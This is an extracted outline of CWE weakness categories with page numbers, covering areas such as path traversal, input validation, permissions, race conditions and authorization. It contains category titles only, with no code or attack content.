    - V CWE-174: Double Decoding of the Same Data (p. 336)
    - V CWE-175: Improper Handling of Mixed Encoding (p. 338)
    - V CWE-176: Improper Handling of Unicode Encoding (p. 339)
    - V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- G CWE-20: Improper Input Validation (p. 18)
  - V CWE-105: Struts: Form Field Without Validator (p. 198)
  - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
  - V CWE-108: Struts: Unvalidated Action Form (p. 204)
  - V CWE-109: Struts: Validator Turned Off (p. 205)
  - B CWE-112: Missing XML Validation (p. 210)
  - B CWE-114: Process Control (p. 215)
  - B CWE-129: Improper Validation of Array Index (p. 258)
  - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
  - B CWE-606: Unchecked Input for Loop Condition (p. 953)
  - V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
  - V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
  - V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
  - V CWE-789: Uncontrolled Memory Allocation (p. 1211)
  - B CWE-680: Integer Overflow to Buffer Overflow (p. 1057)
  - B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
  - B CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1073)
- B CWE-23: Relative Path Traversal (p. 40)
  - V CWE-24: Path Traversal: '../filedir' (p. 45)
  - V CWE-25: Path Traversal: '/../filedir' (p. 46)
  - V CWE-26: Path Traversal: '/dir../filename' (p. 48)

- V CWE-27: Path Traversal: 'dir/././filename' (p. 49)
- V CWE-28: Path Traversal: '..\filedir' (p. 51)
- V CWE-29: Path Traversal: '\.\filename' (p. 52)
- V CWE-30: Path Traversal: 'dir\.\filename' (p. 54)
- V CWE-31: Path Traversal: 'dir\..\filename' (p. 55)
- V CWE-32: Path Traversal: '...' (Triple Dot) (p. 57)
- V CWE-33: Path Traversal: '....' (Multiple Dot) (p. 58)
- V CWE-34: Path Traversal: '.../' (p. 60)
- V CWE-35: Path Traversal: '.../.../' (p. 62)
- B CWE-36: Absolute Path Traversal (p. 64)
- V CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
- V CWE-38: Path Traversal: '\absolute\pathname\here' (p. 68)
- V CWE-39: Path Traversal: 'C:\dirname' (p. 70)
- V CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) (p. 72)
- G CWE-73: External Control of File Name or Path (p. 109)
- V CWE-220: Sensitive Data Under FTP Root (p. 412)
- B CWE-374: Passing Mutable Objects to an Untrusted Method (p. 652)
- B CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 654)
- B CWE-377: Insecure Temporary File (p. 655)
- B CWE-378: Creation of Temporary File With Insecure Permissions (p. 658)
- B CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 659)
- G CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p. 697)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 697)
- B CWE-619: Dangling Database Cursor ('Cursor Injection') (p. 966)
- B CWE-427: Uncontrolled Search Path Element (p. 733)
- B CWE-428: Unquoted Search Path or Element (p. 736)
- G CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
- B CWE-918: Server-Side Request Forgery (SSRF) (p. 1345)
- V CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 826)
- V CWE-492: Use of Inner Class Containing Sensitive Data (p. 827)
- V CWE-493: Critical Public Variable Without Final Modifier (p. 833)
- V CWE-500: Public Static Field Not Marked Final (p. 845)
- G CWE-514: Covert Channel (p. 858)
- B CWE-385: Covert Timing Channel (p. 666)
- B CWE-515: Covert Storage Channel (p. 858)
- B CWE-522: Insufficiently Protected Credentials (p. 862)
- V CWE-256: Plaintext Storage of a Password (p. 454)
- B CWE-257: Storing Passwords in a Recoverable Format (p. 456)
- V CWE-260: Password in Configuration File (p. 463)
- V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
- V CWE-258: Empty Password in Configuration File (p. 458)
- V CWE-523: Unprotected Transport of Credentials (p. 865)
- V CWE-549: Missing Password Field Masking (p. 887)
- V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 892)
- B CWE-552: Files or Directories Accessible to External Parties (p. 889)
- V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
- V CWE-532: Information Exposure Through Log Files (p. 872)
- V CWE-533: Information Exposure Through Server Log Files (p. 873)
- V CWE-534: Information Exposure Through Debug Log Files (p. 874)
- V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)

- V CWE-540: Information Exposure Through Source Code (p. 879)
- V CWE-531: Information Exposure Through Test Code (p. 871)
- V CWE-541: Information Exposure Through Include Source Code (p. 880)
- V CWE-615: Information Exposure Through Comments (p. 962)
- V CWE-548: Information Exposure Through Directory Listing (p. 887)
- V CWE-553: Command Shell in Externally Accessible Directory (p. 890)
- V CWE-582: Array Declared Public, Final, and Static (p. 922)
- V CWE-583: finalize() Method Declared Public (p. 923)
- V CWE-608: Struts: Non-private Field in ActionForm Class (p. 954)
- C CWE-642: External Control of Critical State Data (p. 993)
  - B CWE-15: External Control of System or Configuration Setting (p. 14)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
  - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 901)
  - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
- C CWE-73: External Control of File Name or Path (p. 109)
- U CWE-426: Untrusted Search Path (p. 729)
  - C CWE-275: Permission Issues (p. 488)
  - C CWE-216: Containment Errors (Container Errors) (p. 410)
  - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
  - V CWE-276: Incorrect Default Permissions (p. 490)
  - V CWE-277: Insecure Inherited Permissions (p. 492)
  - V CWE-278: Insecure Preserved Inherited Permissions (p. 493)
  - V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
  - B CWE-281: Improper Preservation of Permissions (p. 496)
  - U CWE-689: Permission Race Condition During Resource Copy (p. 1070)
    - C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
    - C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- V CWE-766: Critical Variable Declared Public (p. 1170)
- V CWE-767: Access to Critical Private Variable via Public Method (p. 1172)
- V CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1354)
- V CWE-942: Overly Permissive Cross-domain Whitelist (p. 1367)
- C CWE-669: Incorrect Resource Transfer Between Spheres (p. 1036)
  - B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - V CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 433)
  - V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
  - B CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - B CWE-494: Download of Code Without Integrity Check (p. 835)
  - B CWE-602: Client-Side Enforcement of Server-Side Security (p. 947)
    - B CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 901)
    - V CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1202)
  - B CWE-603: Use of Client-Side Authentication (p. 950)
- C CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1262)
  - B CWE-827: Improper Control of Document Type Definition (p. 1258)
  - B CWE-830: Inclusion of Web Functionality from an Untrusted Source (p. 1267)
  - B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C CWE-673: External Influence of Sphere Definition (p. 1041)
  - U CWE-426: Untrusted Search Path (p. 729)
    - C CWE-275: Permission Issues (p. 488)
    - C CWE-216: Containment Errors (Container Errors) (p. 410)
    - B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)



- G CWE-704: Incorrect Type Conversion or Cast (p. 1104)
  - V CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 928)
  - B CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
    - G CWE-192: Integer Coercion Error (p. 368)
    - B CWE-194: Unexpected Sign Extension (p. 375)
    - V CWE-195: Signed to Unsigned Conversion Error (p. 377)
    - V CWE-196: Unsigned to Signed Conversion Error (p. 380)
    - B CWE-197: Numeric Truncation Error (p. 381)
  - B CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1287)
- G CWE-706: Use of Incorrectly-Resolved Name or Reference (p. 1106)
  - B CWE-178: Improper Handling of Case Sensitivity (p. 343)
  - G CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
    - G CWE-172: Encoding Error (p. 333)
      - V CWE-173: Improper Handling of Alternate Encoding (p. 335)
      - V CWE-174: Double Decoding of the Same Data (p. 336)
      - V CWE-175: Improper Handling of Mixed Encoding (p. 338)
      - V CWE-176: Improper Handling of Unicode Encoding (p. 339)
      - V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
    - G CWE-20: Improper Input Validation (p. 18)
      - V CWE-105: Struts: Form Field Without Validator (p. 198)
      - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
      - V CWE-108: Struts: Unvalidated Action Form (p. 204)
      - V CWE-109: Struts: Validator Turned Off (p. 205)
      - B CWE-112: Missing XML Validation (p. 210)
      - B CWE-114: Process Control (p. 215)
      - B CWE-129: Improper Validation of Array Index (p. 258)
      - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
      - B CWE-606: Unchecked Input for Loop Condition (p. 953)
      - V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
      - V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
      - V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
      - V CWE-789: Uncontrolled Memory Allocation (p. 1211)
      - B CWE-680: Integer Overflow to Buffer Overflow (p. 1057)
      - B CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
      - B CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1073)
    - B CWE-23: Relative Path Traversal (p. 40)
      - V CWE-24: Path Traversal: '../filedir' (p. 45)
      - V CWE-25: Path Traversal: '/../filedir' (p. 46)
      - V CWE-26: Path Traversal: '/dir../filename' (p. 48)
      - V CWE-27: Path Traversal: 'dir../filename' (p. 49)
      - V CWE-28: Path Traversal: '..filedir' (p. 51)
      - V CWE-29: Path Traversal: '\\filename' (p. 52)
      - V CWE-30: Path Traversal: 'dir\\filename' (p. 54)
      - V CWE-31: Path Traversal: 'dir\\.\\filename' (p. 55)
      - V CWE-32: Path Traversal: '...' (Triple Dot) (p. 57)
      - V CWE-33: Path Traversal: '....' (Multiple Dot) (p. 58)
      - V CWE-34: Path Traversal: '.../' (p. 60)
      - V CWE-35: Path Traversal: '.../...' (p. 62)
    - B CWE-36: Absolute Path Traversal (p. 64)
      - V CWE-37: Path Traversal: '/absolute/pathname/here' (p. 67)
      - V CWE-38: Path Traversal: '\\absolute\\pathname\\here' (p. 68)
      - V CWE-39: Path Traversal: 'C:dirname' (p. 70)
      - V CWE-40: Path Traversal: '\\UNC\\share\\name\\' (Windows UNC Share) (p. 72)
    - G CWE-73: External Control of File Name or Path (p. 109)

- B CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
- B CWE-41: Improper Resolution of Path Equivalence (p. 73)
- C CWE-172: Encoding Error (p. 333)
  - V CWE-173: Improper Handling of Alternate Encoding (p. 335)
  - V CWE-174: Double Decoding of the Same Data (p. 336)
  - V CWE-175: Improper Handling of Mixed Encoding (p. 338)
  - V CWE-176: Improper Handling of Unicode Encoding (p. 339)
  - V CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- C CWE-20: Improper Input Validation (p. 18)
  - V CWE-105: Struts: Form Field Without Validator (p. 198)
  - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
  - V CWE-108: Struts: Unvalidated Action Form (p. 204)
  - V CWE-109: Struts: Validator Turned Off (p. 205)
  - B CWE-112: Missing XML Validation (p. 210)
  - B CWE-114: Process Control (p. 215)
  - B CWE-129: Improper Validation of Array Index (p. 258)
  - V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
  - B CWE-606: Unchecked Input for Loop Condition (p. 953)
  - V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
  - V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
  - V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
  - V CWE-789: Uncontrolled Memory Allocation (p. 1211)
  - C CWE-680: Integer Overflow to Buffer Overflow (p. 1057)
  - C CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
  - C CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1073)
- V CWE-42: Path Equivalence: 'filename.' (Trailing Dot) (p. 78)
- V CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot) (p. 79)
- V CWE-44: Path Equivalence: 'file.name' (Internal Dot) (p. 79)
- V CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot) (p. 80)
- V CWE-46: Path Equivalence: 'filename ' (Trailing Space) (p. 80)
- V CWE-47: Path Equivalence: ' filename' (Leading Space) (p. 81)
- V CWE-48: Path Equivalence: 'file name' (Internal Whitespace) (p. 82)
- V CWE-49: Path Equivalence: 'filename/' (Trailing Slash) (p. 83)
- V CWE-50: Path Equivalence: '//multiple/leading/slash' (p. 83)
- V CWE-51: Path Equivalence: '/multiple//internal/slash' (p. 84)
- V CWE-52: Path Equivalence: '/multiple/trailing/slash/' (p. 85)
- V CWE-53: Path Equivalence: '\multiple\internal\backslash' (p. 86)
- V CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash) (p. 86)
- V CWE-55: Path Equivalence: './' (Single Dot Directory) (p. 87)
- V CWE-56: Path Equivalence: 'filedir\*' (Wildcard) (p. 88)
- V CWE-57: Path Equivalence: 'fakedir/./readdir/filename' (p. 89)
- V CWE-58: Path Equivalence: Windows 8.3 Filename (p. 90)
- C CWE-73: External Control of File Name or Path (p. 109)
- B CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - B CWE-363: Race Condition Enabling Link Following (p. 633)
  - V CWE-62: UNIX Hard Link (p. 96)
  - V CWE-64: Windows Shortcut Following (.LNK) (p. 98)
  - V CWE-65: Windows Hard Link (p. 100)
  - C CWE-73: External Control of File Name or Path (p. 109)
  - C CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
    - C CWE-275: Permission Issues (p. 488)
    - C CWE-216: Containment Errors (Container Errors) (p. 410)
    - C CWE-340: Predictability Problems (p. 596)

- C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
- E CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
- E CWE-66: Improper Handling of File Names that Identify Virtual Resources (p. 101)
- V CWE-67: Improper Handling of Windows Device Names (p. 103)
- V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
- V CWE-71: Apple '.DS\_Store' (p. 106)
- V CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
- E CWE-827: Improper Control of Document Type Definition (p. 1258)
- E CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- E CWE-908: Use of Uninitialized Resource (p. 1330)
- E CWE-911: Improper Update of Reference Count (p. 1335)
- C CWE-913: Improper Control of Dynamically-Managed Code Resources (p. 1336)
- E CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- V CWE-502: Deserialization of Untrusted Data (p. 847)
- E CWE-914: Improper Control of Dynamically-Identified Variables (p. 1337)
- E CWE-621: Variable Extraction Error (p. 969)
- E CWE-627: Dynamic Variable Evaluation (p. 975)
- E CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p. 1339)
- C CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
- E CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
- E CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- E CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C CWE-922: Insecure Storage of Sensitive Information (p. 1349)
- E CWE-312: Cleartext Storage of Sensitive Information (p. 553)
- V CWE-313: Cleartext Storage in a File or on Disk (p. 556)
- V CWE-314: Cleartext Storage in the Registry (p. 557)
- V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 558)
- V CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
- V CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 560)
- V CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 561)
- E CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p. 1348)
- C CWE-682: Incorrect Calculation (p. 1060)
- E CWE-128: Wrap-around Error (p. 257)
- E CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- E CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
- E CWE-190: Integer Overflow or Wraparound (p. 361)
- E CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
- E CWE-193: Off-by-one Error (p. 371)
- E CWE-369: Divide By Zero (p. 647)
- V CWE-467: Use of sizeof() on a Pointer Type (p. 784)
- E CWE-468: Incorrect Pointer Scaling (p. 786)
- E CWE-469: Use of Pointer Subtraction to Determine Size (p. 788)
- E CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
- C CWE-192: Integer Coercion Error (p. 368)
- E CWE-194: Unexpected Sign Extension (p. 375)
- V CWE-195: Signed to Unsigned Conversion Error (p. 377)
- V CWE-196: Unsigned to Signed Conversion Error (p. 380)



- B CWE-197: Numeric Truncation Error (p. 381)
- B CWE-839: Numeric Range Comparison Without Minimum Check (p. 1279)
- C CWE-691: Insufficient Control Flow Management (p. 1072)
- C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  - B CWE-364: Signal Handler Race Condition (p. 635)
    - B CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 740)
    - B CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1259)
      - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
    - B CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1268)
  - B CWE-366: Race Condition within a Thread (p. 640)
  - B CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 642)
    - B CWE-363: Race Condition Enabling Link Following (p. 633)
    - B CWE-365: Race Condition in Switch (p. 639)
    - B CWE-609: Double-Checked Locking (p. 955)
  - B CWE-368: Context Switching Race Condition (p. 645)
  - B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
  - B CWE-662: Improper Synchronization (p. 1024)
    - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1025)
      - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
      - V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
    - B CWE-667: Improper Locking (p. 1032)
      - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
      - B CWE-413: Improper Resource Locking (p. 713)
        - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
      - B CWE-414: Missing Lock Check (p. 716)
      - B CWE-609: Double-Checked Locking (p. 955)
      - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
      - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
      - B CWE-832: Unlock of a Resource that is not Locked (p. 1270)
      - B CWE-833: Deadlock (p. 1271)
    - B CWE-820: Missing Synchronization (p. 1249)
      - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
      - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
    - B CWE-821: Incorrect Synchronization (p. 1250)
      - V CWE-572: Call to Thread run() instead of start() (p. 910)
      - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
  - B CWE-430: Deployment of Wrong Handler (p. 738)
  - B CWE-431: Missing Handler (p. 739)
  - V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 971)
  - B CWE-662: Improper Synchronization (p. 1024)
    - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1025)
      - V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
      - V CWE-558: Use of getlogin() in Multithreaded Application (p. 893)
    - B CWE-667: Improper Locking (p. 1032)
      - B CWE-412: Unrestricted Externally Accessible Lock (p. 711)
      - B CWE-413: Improper Resource Locking (p. 713)
        - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
      - B CWE-414: Missing Lock Check (p. 716)
      - B CWE-609: Double-Checked Locking (p. 955)
      - V CWE-764: Multiple Locks of a Critical Resource (p. 1168)
      - V CWE-765: Multiple Unlocks of a Critical Resource (p. 1169)
      - B CWE-832: Unlock of a Resource that is not Locked (p. 1270)
      - B CWE-833: Deadlock (p. 1271)
    - B CWE-820: Missing Synchronization (p. 1249)

- V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 882)
- B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 903)
- B CWE-821: Incorrect Synchronization (p. 1250)
- V CWE-572: Call to Thread run() instead of start() (p. 910)
- V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 911)
- G CWE-670: Always-Incorrect Control Flow Implementation (p. 1037)
- B CWE-480: Use of Incorrect Operator (p. 809)
- V CWE-481: Assigning instead of Comparing (p. 811)
- V CWE-482: Comparing instead of Assigning (p. 814)
- V CWE-597: Use of Wrong Operator in String Comparison (p. 938)
- V CWE-483: Incorrect Block Delimitation (p. 815)
- B CWE-484: Omitted Break Statement in Switch (p. 817)
- V CWE-617: Reachable Assertion (p. 964)
- B CWE-698: Execution After Redirect (EAR) (p. 1079)
- V CWE-783: Operator Precedence Logic Error (p. 1200)
- G CWE-696: Incorrect Behavior Order (p. 1077)
- B CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
- B CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
- B CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p. 707)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
- G CWE-705: Incorrect Control Flow Scoping (p. 1105)
- B CWE-248: Uncaught Exception (p. 438)
- B CWE-600: Uncaught Exception in Servlet (p. 941)
- V CWE-382: J2EE Bad Practices: Use of System.exit() (p. 661)
- B CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 680)
- B CWE-396: Declaration of Catch for Generic Exception (p. 682)
- B CWE-397: Declaration of Throws for Generic Exception (p. 683)
- B CWE-455: Non-exit on Failed Initialization (p. 769)
- B CWE-584: Return Inside Finally Block (p. 924)
- B CWE-698: Execution After Redirect (EAR) (p. 1079)
- B CWE-749: Exposed Dangerous Method or Function (p. 1138)
- B CWE-618: Exposed Unsafe ActiveX Method (p. 966)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1198)
- V CWE-768: Incorrect Short Circuit Evaluation (p. 1173)
- G CWE-799: Improper Control of Interaction Frequency (p. 1225)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- B CWE-837: Improper Enforcement of a Single, Unique Action (p. 1276)
- B CWE-834: Excessive Iteration (p. 1272)
- B CWE-606: Unchecked Input for Loop Condition (p. 953)
- B CWE-674: Uncontrolled Recursion (p. 1042)
- V CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1190)
- B CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p. 1273)
- B CWE-841: Improper Enforcement of Behavioral Workflow (p. 1284)
- G CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
- B CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
- V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- G CWE-693: Protection Mechanism Failure (p. 1074)
- B CWE-179: Incorrect Behavior Order: Early Validation (p. 345)

- B CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
- B CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
- B CWE-182: Collapse of Data into Unsafe Value (p. 350)
- B CWE-183: Permissive Whitelist (p. 352)
- V CWE-942: Overly Permissive Cross-domain Whitelist (p. 1367)
- B CWE-184: Incomplete Blacklist (p. 352)
- C CWE-20: Improper Input Validation (p. 18)
  - V CWE-105: Struts: Form Field Without Validator (p. 198)
  - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
  - V CWE-108: Struts: Unvalidated Action Form (p. 204)
  - V CWE-109: Struts: Validator Turned Off (p. 205)
- B CWE-112: Missing XML Validation (p. 210)
- B CWE-114: Process Control (p. 215)
- B CWE-129: Improper Validation of Array Index (p. 258)
- V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
- B CWE-606: Unchecked Input for Loop Condition (p. 953)
- V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
- V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
- V CWE-789: Uncontrolled Memory Allocation (p. 1211)
- ∞ CWE-680: Integer Overflow to Buffer Overflow (p. 1057)
- ∞ CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1071)
- ∞ CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1073)
- C CWE-284: Improper Access Control (p. 499)
  - B CWE-269: Improper Privilege Management (p. 477)
    - C CWE-250: Execution with Unnecessary Privileges (p. 440)
    - B CWE-266: Incorrect Privilege Assignment (p. 471)
      - V CWE-520: .NET Misconfiguration: Use of Impersonation (p. 861)
      - V CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 892)
      - V CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)
  - B CWE-267: Privilege Defined With Unsafe Actions (p. 473)
    - V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 971)
  - B CWE-268: Privilege Chaining (p. 475)
  - B CWE-270: Privilege Context Switching Error (p. 479)
  - C CWE-271: Privilege Dropping / Lowering Errors (p. 480)
    - B CWE-272: Least Privilege Violation (p. 482)
    - B CWE-273: Improper Check for Dropped Privileges (p. 485)
  - B CWE-274: Improper Handling of Insufficient Privileges (p. 487)
  - B CWE-648: Incorrect Use of Privileged APIs (p. 1004)
- C CWE-282: Improper Ownership Management (p. 497)
  - B CWE-283: Unverified Ownership (p. 498)
  - B CWE-708: Incorrect Ownership Assignment (p. 1108)
- C CWE-285: Improper Authorization (p. 501)
  - V CWE-219: Sensitive Data Under Web Root (p. 412)
    - V CWE-433: Unparsed Raw Web Content Delivery (p. 741)
  - C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
    - V CWE-276: Incorrect Default Permissions (p. 490)
    - V CWE-277: Insecure Inherited Permissions (p. 492)
    - V CWE-278: Insecure Preserved Inherited Permissions (p. 493)
    - V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
    - B CWE-281: Improper Preservation of Permissions (p. 496)
    - B CWE-689: Permission Race Condition During Resource Copy (p. 1070)
      - C CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
      - C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)

- C CWE-862: Missing Authorization (p. 1299)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- C CWE-638: Not Using Complete Mediation (p. 986)
  - C CWE-424: Improper Protection of Alternate Path (p. 727)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
- V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 902)
- B CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1362)
- C CWE-863: Incorrect Authorization (p. 1304)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
- V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- V CWE-926: Improper Export of Android Application Components (p. 1352)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1354)
- C CWE-286: Incorrect User Management (p. 507)
- B CWE-842: Placement of User into Incorrect Group (p. 1286)
- C CWE-287: Improper Authentication (p. 507)
  - V CWE-261: Weak Cryptography for Passwords (p. 464)
  - V CWE-262: Not Using Password Aging (p. 466)
  - B CWE-263: Password Aging with Long Expiration (p. 467)
  - V CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
  - B CWE-303: Incorrect Implementation of Authentication Algorithm (p. 535)
  - V CWE-306: Missing Authentication for Critical Function (p. 537)
  - B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
